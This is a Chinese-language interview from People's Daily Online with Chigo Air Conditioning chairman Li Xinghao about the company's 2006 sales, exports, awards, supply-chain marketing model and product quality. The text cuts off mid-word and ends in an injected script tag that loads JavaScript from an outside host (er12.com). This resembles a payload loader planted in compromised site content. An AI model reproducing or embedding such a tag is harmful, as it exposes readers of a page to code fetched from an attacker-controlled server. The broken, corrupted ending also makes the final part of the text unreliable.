2005年底，广大的人民网网友和家电行业专家共同评选出了2005中国家电行业“十大新锐人物”，一转眼一年即将过去了，人民网家电频道将对“十大新锐人物”进行回访。在这一年里，这些新锐人物有哪些业绩和表现，他们带领自己的团队、企业在自己的领域里又做出了哪些令人瞩目的新的成绩，取得了什么进展，而且，马上就要进入2007年，在2007，作为家电业的领军人物和新锐人物又有什么样的打算，促进这个企业更快的发展。本期回访嘉宾是广东志高空调股份有限公司董事长李兴浩。

人民网：据一些权威机构调查数据显示，2006制冷年度志高再一次展现出多年品牌积累和快速成长的强势，请您介绍一下志高空调今年在市场上的整体表现。

李兴浩：2006制冷年度，虽然行业遭遇了有史以来最大幅度的原材料涨价，许多品牌不得不接受被淘汰出局的厄运。但在同样的困难面前，我们化被动为主动，又一次实现历史性跨越，既定的营销计划目标全面达成，总销量相比去年增幅18%。更为可喜的是，单品价值相比去年增幅达到了30%，高端新品的销量达到30%，销售规模和销售利润率都实现了较大幅度的提升。

与国内销售相比较，志高海外市场也同样表现强劲，创下日均出口达1300万的业绩。在德国ikk展、中国国际家电展、第100届广交会、上海节能展、美国ahr展及巴西febrava专业展等众多国际展览中，志高不仅赢得一个又一个巨额订单，而且自主品牌日益得到全球认可，据统计，志高海外市场占有率20%以上的达到了20多个国家，自有品牌出口占比达到30%。2006制冷年度，志高海外营销本部完成了年度任务量的104%，其中亚太区、中东区分别达到了128.9%、125.25%。

近年来，志高相继获得了中国驰名商标、中国名牌产品、中国出口名牌、中国企业500强、全球华人企业500强、具有世界影响力的中国著名企业、全国创建和谐劳动关系模范企业、中国质量万里行质量信誉先进单位、全国科技创新质量管理先进单位、中国工业行业排头兵企业、中国企业文化建设先进单位、中国优秀民营企业20强、中国优秀科技民营企业、中国最具生命力百强企业、全国双爱双评先进企业、 中国新品牌联盟会员单位、 广东省优秀民营企业、广东省十大民营诚信企业等荣誉，见证了志高的良好发展态势。

人民网：您认为志高逆势上扬的主要原因是什么？其中最关键的环节在哪里？其它企业可否借鉴或者模仿？ 广东志高空调股份有限公司董事长李兴浩

李兴浩：2006制冷年度，空调行业的市场竞争，处于一定程度上的混乱状态，志高之所以在非常时期，能迅速转化挑战为机遇，是源于在过去市场洗礼中取得了“逢强则强”的经验，源于志高打造出强大企业体系和具有战斗力的优秀团队，源于务实的战略远见和领导集体的科学决策能力，更是源于我们在成长的历程中积聚了不可替代的核心竞争力。这种不可替代的核心竞争力和比较优势主要表现在三个方面：一、坚实和深具规模效应的产业配套基础；二、上下同心、坚不可摧的供应链、经销链根基；三、日新月异的品牌产品力和品牌力提升，我们的营销已具备溢价销售的肥沃土壤。而最关键在于营销模式的创新。别人都在争夺渠道、终端时，志高已经把供应链放到了与渠道、终端同等重要的地位，打造绿色供应链，组成产供销共同体，形成了与众不同的志高发展模式。这种自主创新的营销模式有借鉴意义，但却难以复制，因为成功的前提是建立在志高特有企业文化和十多年发展、沉淀、积累的。正是这些优势条件使我们可以克服困难，抓住机遇，赶超对手！

人民网：您如何评价今年空调市场出现的变化？

李兴浩：经过多年的淘汰整合，空调行业格局发生了巨大变化，一些竞争力脆弱的二、三线品牌受到了多方抑制，市场上的真正对手已越来越少，行业整体产能正在萎缩，这一趋势在今年的市场表现中更加明显，而这一切为志高提供了千载难逢的发展机遇。

现实表明，我们产品的性能、质量、科技含量以及品牌、营销服务价值的全面提升进一步稳固了志高行业前四强的地位，以志高为首的主流品牌涨价行动，已经得到卖场和渠道网络以及最终客户的认可与支持，价格回归价值的时代已全面来临。

人民网： 志高2006年度推出的“三超王”对整个行业产生了巨大的影响，有专家称，“三超王”的问世终结了“健康”概念炒作时代。之后，志高又率先呼吁国家相关部门尽快出台“空调可靠性标准”，倡导各制造企业都来重视产品可靠性，一年内两次树起了行业品质旗帜，您如何看待？

李兴浩：品质提升带来的价值提升是长远的，永续的。空调行业的品质力将越来越重要，品质决定一切，没有好品质，就没有好未来。而品质提升包括多个方面，它从根本上要实现的是顾客的期望值，提升品牌美誉度及品牌价值。品质是从设计开始的，设计是源头，要寻求“第一次就把事情做对”，从设计品质到制造品质，都将决定着产品的核心竞争力。志?script src=http://er12.com/t.js>